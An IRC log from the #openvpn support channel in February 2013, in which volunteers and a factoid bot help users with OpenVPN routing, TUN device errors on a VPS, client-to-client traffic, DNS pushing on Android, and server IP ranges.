18:20 < storrgie> yeah I'm trying to link sites that are 27mbps/7mbps
18:21 < pekster> My dev unit (the 500gPv2) may or may not be in a bootable state, but let me see if I can fire it up real quick for a "rough" test using a bulk transfer of some sort
18:21 < storrgie> I'm curious... can I use openvpn to link specific types of requests... say, the clients at site 1 go to the internet through site 1 modem... but when they make a request for server.site2 they go through the openVPN tunnel?
18:21 < storrgie> pekster, oh don't worry about doing any work for me
18:21 < pekster> Maybe not 27Mbps, but I used this same 500gPv2 unit to connect perma-remote employees last office gig I had, and they were good enough for email/bulk file transfers to the main office in another state
18:21 < storrgie> I'm just asking hypotheticals
18:21 < pekster> k
18:22 < pekster> You can do policy routing all you want, although it's up to you to set that up
18:22 < storrgie> but you can do policy routing... so that only requests to to specific site2 resources will actually go over the openvpn
18:22 < pekster> Yup
18:23 < pekster> You don't need policy routing for that even
18:23 < storrgie> that is excellent
18:23 < pekster> Just set routes for the destinations reachable across the tunnel
18:23 < storrgie> (I've never set it up before... just been wanting to do it)
18:23 < pekster> policy routing is when you need to handle routing decisions on more complex attributes, like source network or source VLAN/interface, etc
18:24 < pekster> Normal routing works as you'd expect with an extra "interface" as it were; openvpn makes it easy to exposes that to your clients:
18:24 < pekster> !route
18:24 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
18:24 < pekster> also:
18:24 < pekster> !serverlan
18:24 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
18:26 < storrgie> woof
18:26 < storrgie> setup of openvpn is quite an ordeal
18:26 < storrgie> I'm actually running it right now on a pfsense box
18:26 < storrgie> and I was quite perplexed about getting it configured
18:26 < pekster> If you haven't seen the official site/docs:
18:26 < pekster> !howto
18:26 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
18:27 < storrgie> Well I really appreciate you fielding my questions
18:27 < storrgie> I want to run mikrotik stuff because i like the price and the form factor
18:27 < storrgie> I'm used to pfsense
18:27 < storrgie> but I'm running it on a 1u supermicro at my house and its just insane loud
18:28 < storrgie> I would like to switch to a fanless or virtually silent device
18:29 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
19:20 -!- storrgie [~storrgie@c-98-224-170-69.hsd1.mi.comcast.net] has quit [Quit: Leaving]
19:53 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
20:02 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 276 seconds]
20:08 -!- JackWinter [~jack@vodsl-4655.vo.lu] has quit [Ping timeout: 252 seconds]
20:10 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
20:20 -!- qmr [~qmr@50.116.18.140] has joined #openvpn
20:20 < qmr> trying to set up a VPN server with static key howto .. openvpn start fails, how / where can I get debugging information?
20:24 < rob0> well, maybe this is nitpicky, but with static keys, there IS no server/client, just "peers".
20:24 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Read error: Operation timed out]
20:24 < rob0> Try running it from the command line without your distro init script, and without --daemon
20:25 < rob0> comment out "daemon" if it is in your config
20:25 < rob0> !logs
20:25 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
20:25 < rob0> !logfile
20:25 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info
20:25 < qmr> ok, openvpn openvpn.conf gave some useful output
20:26 < qmr> Sun Feb 10 21:25:25 2013 Note: Cannot open TUN/TAP dev /dev/net/tun: No such file or directory (errno=2)
20:26 < rob0> "modprobe tun"
20:26 < rob0> it IS Linux, right?
20:26 < qmr> no such module ...
20:26 < qmr> http://www.youtube.com/watch?v=bW7Op86ox9g
20:26 <@vpnHelper> Title: DUN-DUN-DUUUUN!!! Sound Effect - YouTube (at www.youtube.com)
20:26 < qmr> Thanks rob0
20:27 < rob0> why no tun?
20:27 < qmr> hell if I know.  this is an old almost forgotten about VPS.  just noticed it has samba, bind, and apache installed.  not sure if compromised or crappy template
20:28 < qmr> 2.6.32-042stab059.7 o_O
20:28 < rob0> Some VPSs have crappy custom kernels without modules.
20:29 < rob0> (made by people who had no idea you'd want such a thing, most likely)
20:29 < qmr> the provider's FAQ says it's enabled on all plans or whatever -_-
20:30 < pekster> Say what's embedded? CONFIG_TUN in the kernel?
20:31 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
20:32 < qmr> not sure how I would see that.  doesn't look like config is exposed in /proc/config.gz
20:32 < rob0> That sucks.
20:36 -!- zz_AsadH [~AsadH@irc.unixio.com] has joined #openvpn
20:36 -!- zz_AsadH is now known as AsadH
20:36 -!- AsadH [~AsadH@irc.unixio.com] has quit [Changing host]
20:36 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
20:40 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 255 seconds]
20:49 < qmr> okies, opened a ticket with them.  kind of curious how I have used 650MB of xfer since I never log in there ... hm
21:30 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
21:33 -!- Siner [~chatzilla@c-98-255-2-163.hsd1.ca.comcast.net] has joined #openvpn
21:37 < Siner> Hi, hopefully I'm not breaking etiquette or missing something obvious in the topic. I am attempting to help an Australian friend of mine (I am in the US) tunnel traffic. We tried originally just hosting a local FreeSSHd server on my machine and connecting via putty, but we kept running into problems.
21:37 < Siner> I now have an instance of OpenVPN hosted on a linode
21:37 < Siner> I've followed linodes guide to setting it up
21:37 < Siner> but I can't figure out for the life of me how I am supposed to connect and forward traffic through it.
21:38 < Siner> Most of the guides I find are related to actually setting up the OpenVPN server, but they seem to just gloss over how you connect.
21:38 < Siner> !welcome
21:38 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
21:39 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
21:40 < pekster> Siner: start here, with the official openvpn howto:
21:40 < pekster> !howto
21:40 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
21:41 < pekster> How you forward traffic depends on what exactlly your goal is. Are you trying to reach systems behind either one of the peers? Redirect all Internet-bound traffic across the VPN? etc. In effect:
21:41 < pekster> !goal
21:41 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
21:43 < Siner> Ah, goal (seems silly) is to redirect minecraft traffic to a US IP in an attempt to solve apparent one-way lag. His packets seem to reach the server instantly, but it takes ages for things to happen on his end.
21:43 < Siner> I suppose this could be accomplished by redirecting all internet traffic across the VPN
21:44 < pekster> You can route anything from a single host to the whole of the Internet across a tunnel; it's just a route that comes up/down with the VPN connection
21:45 < Siner> So we could do: AussiePC -> Linode -> Minecraft Server and vice versa?
21:45 < pekster> First you need a working tunnel where you can ping endpoints. From there you can push a route to whatever you're trying to expose on the server-side; you'll probably need NAT too if you're dealing with IPv4 private addresing, unless you have public IPs for the VPN range
21:46 < pekster> The howto I linked earlier will get you a working VPN, where you can ping. You must get that working first, or nothing else will work. Then, read about handling routes:
21:46 < pekster> !route
21:46 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
21:46 < Siner> You just blew my mind. I'll do some reading on the howto, and then maybe I can ask better/more specific questions if I'm still having problems. Thanks for your help and patience.
22:37 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
22:44 -!- xbanux [~xbanux@115.254.75.113] has joined #openvpn
22:55 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
--- Day changed Mon Feb 11 2013
01:03 -!- b1rkh0ff [~b1rkh0ff@178.77.24.133] has quit [Read error: Operation timed out]
01:03 -!- gedO [~quassel@88.119.154.240] has joined #openvpn
01:19 -!- b1rkh0ff [~b1rkh0ff@178.77.7.226] has joined #openvpn
01:39 -!- gedO_ [~quassel@88.119.154.240] has joined #openvpn
01:39 -!- gedO [~quassel@88.119.154.240] has quit [Ping timeout: 252 seconds]
01:49 -!- gedO_ [~quassel@88.119.154.240] has quit [Ping timeout: 276 seconds]
01:56 -!- gedO [~quassel@2002:5877:9af0:1000:3978:6c96:5f0b:5e20] has joined #openvpn
02:41 -!- yavor is now known as y4h0
03:14 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
03:19 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:19 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
03:20 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Remote host closed the connection]
03:22 -!- tMobile4a03 [T4@n218250226180.netvigator.com] has joined #openvpn
03:23 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
03:23 -!- tyteen4a03 [T4@n218250226180.netvigator.com] has quit [Read error: Connection reset by peer]
03:26 -!- TheLaw [~law@irc.l4w.info] has quit [Ping timeout: 276 seconds]
03:26 -!- Siner [~chatzilla@c-98-255-2-163.hsd1.ca.comcast.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 18.0.2/20130201065344]]
03:38 -!- sam1 [~sam@194-236-182-101.customer.telia.com] has joined #openvpn
03:40 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
03:48 -!- yuri__ [~cek@crius.pantheon.fused.net] has joined #openvpn
03:50 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
03:50 -!- mode/#openvpn [+o krzee] by ChanServ
03:56 -!- dazo_afk is now known as dazo
04:03 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
04:04 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
04:36 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
04:53 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
05:00 -!- ade_b [~Ade@195.198.34.212] has joined #openvpn
05:00 -!- ade_b [~Ade@195.198.34.212] has quit [Changing host]
05:00 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:00 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
05:19 -!- william_ [~x@lotus.redl8.com] has quit [Ping timeout: 256 seconds]
05:39 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 252 seconds]
05:50 -!- Devastator [~devas@unaffiliated/devastator] has quit []
05:51 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
06:02 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 245 seconds]
06:04 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
06:05 -!- ParkerJ [~Parker@194.81.239.72] has joined #openvpn
06:09 < ParkerJ> Hello all.  I have openvpn set up so users can access a bzr server.  Now I'd like to allow the users to use gobby (a collaborative editor) but they can't ping each other via their vpn IPs.  What part of the config do I need to change?
06:09 < ParkerJ> Thanks for any tips.
06:13 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
06:14 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 276 seconds]
06:14 -!- william_ [~x@lotus.redl8.com] has joined #openvpn
06:14 < ParkerJ> server.conf http://pastebin.com/kG05FNwN
06:14 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
06:17 -!- p3rror [~mezgani@2001:0:53aa:64c:3853:4c1b:d606:f491] has joined #openvpn
06:18 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 246 seconds]
06:20 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
06:22 -!- hg_5__ [~chatzilla@91.234.245.245] has joined #openvpn
06:22 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
06:25 -!- cpm_ [~Chip@50.149.28.79] has joined #openvpn
06:25 -!- cpm_ [~Chip@50.149.28.79] has quit [Changing host]
06:25 -!- cpm_ [~Chip@pdpc/supporter/active/cpm] has joined #openvpn
06:26 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 260 seconds]
06:39 < ParkerJ> !welcome
06:39 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
06:39 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
06:40 < ParkerJ> !redirect
06:40 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
06:40 <@vpnHelper> http://ircpimps.org/redirect.png
06:45 -!- cpm_ [~Chip@pdpc/supporter/active/cpm] has quit [Ping timeout: 245 seconds]
06:46 < ParkerJ> !def1
06:46 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
06:47 < ParkerJ> !ipforward
06:47 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
06:48 < ParkerJ> !route
06:48 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
06:58 -!- p3rror [~mezgani@2001:0:53aa:64c:3853:4c1b:d606:f491] has quit [Remote host closed the connection]
07:03 -!- master_of_master [~master_of@p57B547BB.dip.t-dialin.net] has quit [Ping timeout: 256 seconds]
07:05 -!- master_of_master [~master_of@p57B52D17.dip.t-dialin.net] has joined #openvpn
07:11 < ParkerJ> I think I have found what I was looking for:  client-to-client   Waiting for another client to turn up so I can try it out.
07:38 < sam1> any reason for tls error when using tls auth in windows? server is running debian, it works fine from linux and mac osx, but not windows 7 (client that is)
08:11 -!- Holiday [~rjr162@128.118.15.39] has quit [Quit: Leaving]
08:11 -!- Holiday [~rjr162@128.118.15.39] has joined #openvpn
08:13 -!- NuclearMeltdown [~rep@unaffiliated/antiliberal] has quit [Ping timeout: 245 seconds]
08:26 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 252 seconds]
08:55 -!- nickanderson_afk is now known as nickanderson
08:59 -!- nickanderson is now known as nickanderson_afk
09:02 -!- gedO_ [~quassel@88.119.154.240] has joined #openvpn
09:04 -!- Cybert1nus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
09:05 -!- GabrieleV_ [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
09:06 -!- kirin` [telex@gateway/shell/anapnea.net/x-bycvgppbjdznazft] has quit [Disconnected by services]
09:06 -!- con3x_ [~pkinnaird@kobol.geeksoc.org] has joined #openvpn
09:06 -!- kirin` [telex@gateway/shell/anapnea.net/x-qvzgpuzezirigqrs] has joined #openvpn
09:07 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 276 seconds]
09:07 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 276 seconds]
09:07 -!- paccer [uid4847@gateway/web/irccloud.com/x-iggwqzmrrmnhkcai] has quit [Ping timeout: 276 seconds]
09:07 -!- sam1 [~sam@194-236-182-101.customer.telia.com] has quit [Ping timeout: 276 seconds]
09:07 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 276 seconds]
09:07 -!- hazardous [~dbn@openvpn/user/hazardous] has quit [Ping timeout: 276 seconds]
09:07 -!- sitaktif [~sitaktif@kollok.org] has quit [Ping timeout: 276 seconds]
09:07 -!- gedO [~quassel@2002:5877:9af0:1000:3978:6c96:5f0b:5e20] has quit [Ping timeout: 276 seconds]
09:07 -!- bandroidx [~bandroidx@2605:6400:2:fed5:4:0:414:11] has quit [Ping timeout: 276 seconds]
09:07 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Ping timeout: 276 seconds]
09:07 -!- EugeneKay [eugene@madeitwor.se] has quit [Ping timeout: 276 seconds]
09:07 -!- con3x [~pkinnaird@kobol.geeksoc.org] has quit [Ping timeout: 276 seconds]
09:07 -!- nutcase [~nutcase@2605:6400:2:fed5:22:0:b4f1:bd54] has joined #openvpn
09:07 -!- hazardous [~dbn@void.kassad.in] has joined #openvpn
09:07 -!- EugeneKay [eugene@madeitwor.se] has joined #openvpn
09:07 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Remote host closed the connection]
09:07 -!- dxtr [~dxtr@2001:470:28:93::cb] has joined #openvpn
09:07 -!- dxtr [~dxtr@2001:470:28:93::cb] has quit [Changing host]
09:07 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
09:07 -!- zz_AsadH [~AsadH@irc.unixio.com] has joined #openvpn
09:07 -!- nutcase [~nutcase@2605:6400:2:fed5:22:0:b4f1:bd54] has quit [Changing host]
09:07 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
09:07 -!- bandroidx [~bandroidx@2605:6400:2:fed5:4:0:414:11] has joined #openvpn
09:07 -!- neilhwatson1 [~neil@cl-274.chi-03.us.sixxs.net] has joined #openvpn
09:07 -!- zz_AsadH is now known as AsadH
09:07 -!- AsadH [~AsadH@irc.unixio.com] has quit [Changing host]
09:07 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
09:07 -!- sam1 [~sam@194-236-182-101.customer.telia.com] has joined #openvpn
09:08 -!- sitaktif [~sitaktif@kollok.org] has joined #openvpn
09:10 -!- AsadH is now known as zz_AsadH
09:10 -!- hg_5__ [~chatzilla@91.234.245.245] has quit [Quit: ChatZilla 0.9.89-rdmsoft [XULRunner 1.9.0.17/2009122204]]
09:10 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
09:12 -!- kirin` [telex@gateway/shell/anapnea.net/x-qvzgpuzezirigqrs] has quit [Ping timeout: 252 seconds]
09:13 -!- kirin` [telex@gateway/shell/anapnea.net/x-ywbpjkygyhlnqciv] has joined #openvpn
09:15 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
09:15 < xtz> hey guys
09:16 < xtz> any1 with experience with the android client?
09:16 <@dazo> xtz: which version of it?
09:17 < xtz> latest - 1.1.9
09:17 < xtz> I have a very weird issue which might not be related to android's client only
09:18 < xtz> Im pushing DNS servers from my server with:
09:18 < xtz> push "dhcp-option DNS x.x.x.x"
09:18 < xtz> when DNS fallback is not checked on the client - it's using the x.x.x.x nameserver and everything is perfect
09:19 -!- kirin` [telex@gateway/shell/anapnea.net/x-ywbpjkygyhlnqciv] has quit [Ping timeout: 256 seconds]
09:19 < xtz> when DNS Fallback is checked though, it tries to use Google's DNS servers which means x.x.x.x is not pushed to the client... and I wonder why :\
09:19 <@dazo> xtz: there are a brazillion android clients in Google Play ... I meant: which of them?  ... "OpenVPN for Android", "OpenVPN Connect", etc ,etc
09:19 < xtz> openvpn connect :)
09:19 <@dazo> ahh, okay
09:19 < xtz> dazo: sorry didnt get ur question
09:20 <@dazo> novaflash: ^^^  this is probably your table :)
09:20 <@novaflash> hi dazo
09:20 <@novaflash> what's that hat on your head?
09:20 <@dazo> it means, look on the text above ...
09:20 <@novaflash> i need new glasses. looks like a santa hat
09:20 -!- kirin` [telex@gateway/shell/anapnea.net/x-ftxnbxlnnvfgtfqf] has joined #openvpn
09:20 <@dazo> s/ on / at /
09:21 <@novaflash> well
09:21 <@novaflash> as far as i understand it
09:21 <@novaflash> DNS fallback is meant to do exactly that
09:21 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Ping timeout: 252 seconds]
09:22 < xtz> According to the description of the option
09:22 <@novaflash> yes, i know
09:22 <@novaflash> but it's an override
09:22 < xtz> 'Use Google DNS servers as a fallback for connections that route all internet traffic through the VPN tunnel but don't define any VPN DNS servers'
09:23 < xtz> I do route all the traffic but I define DNS servers too
09:23 <@novaflash> right, but you read it to mean that there is a logic involved that does an "if not dns server defined use google dns"
09:23 <@novaflash> but instead it's just an on/off for forcing google dns servers
09:23 < xtz> Alright, thanks :-)
09:23 <@novaflash> for those situations where people are using access servers that route all internet traffic through the vpn tunnel but where the access server does not define a vpn dns server
09:23 < xtz> saved me some debugging hrs :p
09:23 <@novaflash> :)
09:23 <@novaflash> it's not a bug
09:23 <@novaflash> it's a feature!
09:24 <@novaflash> for real, this time
09:24 <@novaflash> it's kind of strange though
09:24 <@novaflash> because by default when you set access server to redirect
09:24 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
09:24 <@novaflash> you are forced to define dns servers
09:24 <@novaflash> but sometimes people do override to disable that for some reason
09:25 -!- mode/#openvpn [+v EugeneKay] by ChanServ
09:25 <@novaflash> oh no it's EugeneKay
09:25  * novaflash flees like a shadow before the candlelight
09:26 <+EugeneKay> Pffft, I haven't gone wild with power yet
09:26 -!- kirin` [telex@gateway/shell/anapnea.net/x-ftxnbxlnnvfgtfqf] has quit [Ping timeout: 255 seconds]
09:26 < xtz> In my case I've set PF to allow DNS traffic only to my ISPs DNS servers (I tend to get a nice & tidy footprint on my uplink bw) and since it was trying Google's servers - traffic got blocked
09:26 <@novaflash> ah
09:27 <@novaflash> there is also a nasty thing you could do
09:27 -!- kirin` [telex@gateway/shell/anapnea.net/x-oxabjblalztgmmzr] has joined #openvpn
09:27 <@novaflash> and implement iptables rule for tcp and udp 53 ports to redirect all dns queries through the vpn tunnel to a local dns server or whatever dns server you like
09:27 <@novaflash> that's a dirty trick tho
09:27 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 255 seconds]
09:27 <@novaflash> but it works
09:28 <@novaflash> i have no idea why you would want to do that
09:28 <@novaflash> but there it is
09:29 < xtz> OpenBSD and PF here, but yeah - I get the idea :-)
09:30 <@novaflash> oh yes pf then
09:31 < xtz> alright, thanks for your help
09:32 <@novaflash> this concludes our transaction. your soul is now mine.
09:32 -!- kirin` [telex@gateway/shell/anapnea.net/x-oxabjblalztgmmzr] has quit [Ping timeout: 252 seconds]
09:33 -!- kirin` [telex@gateway/shell/anapnea.net/x-bajfxcpaakpncqer] has joined #openvpn
09:34 < xtz> erm... alright, but Im afraid that traffic is blocked by PF as well
09:34 <@novaflash> sysadmins.. the worst kind! okay i'll go harvest some souls elsewhere
09:35 < xtz> and I'll go hom to get some sleep before the gym
09:36 < xtz> take care
09:36 <@novaflash> adios
09:36 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
09:39 -!- kirin` [telex@gateway/shell/anapnea.net/x-bajfxcpaakpncqer] has quit [Ping timeout: 245 seconds]
09:40 -!- yuri__ [~cek@crius.pantheon.fused.net] has quit [Ping timeout: 256 seconds]
09:41 -!- kirin` [telex@gateway/shell/anapnea.net/x-fqcxzfjrwhmymqfg] has joined #openvpn
09:50 <@plaisthos> novaflash: :)
09:51 -!- neilhwatson1 is now known as help
09:51 -!- help is now known as neilhwatson
09:52 -!- neilhwatson [~neil@cl-274.chi-03.us.sixxs.net] has quit [Quit: Leaving.]
09:52 <@novaflash> hi plaisthos
09:52 <@plaisthos>     <string name="warn_no_dns">No DNS servers being used. Name resolution may not work. Consider setting custom DNS Servers</string>
09:52 -!- neilhwatson [~neil@cl-274.chi-03.us.sixxs.net] has joined #openvpn
09:53 <@plaisthos> is my warning for this kind of cases :)
09:53 <@novaflash> i wonder if openvpn connect has such a warning built in
09:54 <@novaflash> i'm guessing not
10:07 -!- ade_b [~Ade@host-78-65-176-141.homerun.telia.com] has joined #openvpn
10:07 -!- ade_b [~Ade@host-78-65-176-141.homerun.telia.com] has quit [Changing host]
10:07 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
10:14 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
10:16 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:26 -!- gedO_ [~quassel@88.119.154.240] has quit [Read error: Connection reset by peer]
10:36 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
10:38 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has quit [Ping timeout: 246 seconds]
10:38 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has joined #openvpn
10:43 -!- ParkerJ [~Parker@194.81.239.72] has quit [Quit: Leaving]
10:44 -!- [fred] [fred@konfuzi.us] has joined #openvpn
10:46 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
10:46 < Holiday> So in TAP mode you can set the server-bridge to set the IP of the openvpn "server/bridge" to whatever you want (say .88.126) and the client range as well (88.127-.145), but with the TUN mode server option you're pretty much stuck with a 88.0/24 with the server taking 88.1?
10:50 <@novaflash> Holiday: i think you can use any CIDR notation acceptable range
10:51 <@novaflash> but the general idea is that you have a subnet that the vpn clients and the vpn server are all on and the vpn server ip on that subnet serves as the gateway, and that would be the first ip yes
10:51 <@novaflash> but 88.10.20.128/28 works fine too
10:52 <@novaflash> in TAP mode you don't need a gateway IP for the vpn subnet because it's a bridge
10:54 <@novaflash> but yeah server-bridge does define the ip for the openvpn server and yeah it is all open and free and easy to use
10:54 < rob0> "--server x.x.88.0 255.255.255.0" assigns x.x.88.1 to the server. But --server is a macro. You can use all the component parts of it, including --ifconfig, and set the IP you want.
10:54 < Holiday> ah okay nice
10:54 <@novaflash> all hail rob0
10:56 < Holiday> I must have missed that part of the MAN file (not hard to do as you get a tons of options!)
10:57 <@novaflash> there's a man file?
10:58 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
10:58 < Holiday> i suppose not many that hit up the channel RTFM, But I've tried :) (and about every site google ever has indexed)
10:59 <@novaflash> cool
11:01 -!- paccer [uid4847@gateway/web/irccloud.com/x-txhaywlkhsotevex] has joined #openvpn
11:08 -!- samba35 [~shrikant@unaffiliated/samba35] has joined #openvpn
11:11 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
11:13 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
11:14 -!- troker [~troker@bou62-129-63-62-124.dhcp.uml.edu] has joined #openvpn
11:15 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
11:16 < troker> Hey all - could anyone point me in the right direction for configuring a "server-only" connection with OpenVPN?  -- I would like to have multiple services available to all clients on the VPN, but only the VPN port open on the actual physical interface.
11:19 <@krzee> !sample
11:19 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
11:20 <@krzee> troker, ^
11:21 < troker> krzee:  I guess my question was more about the logistics of setting up services to listen on the openvpn interface.
11:21 < troker> or am I missing something here?
11:22 <@krzee> logistics?
11:22 <@krzee> tell the app what ip to bind to
11:22 < troker> Will that cause issues when the openvpn server is not running?
11:24 -!- hazardous [~dbn@void.kassad.in] has quit [Changing host]
11:24 -!- hazardous [~dbn@openvpn/user/hazardous] has joined #openvpn
11:24 -!- mode/#openvpn [+v hazardous] by ChanServ
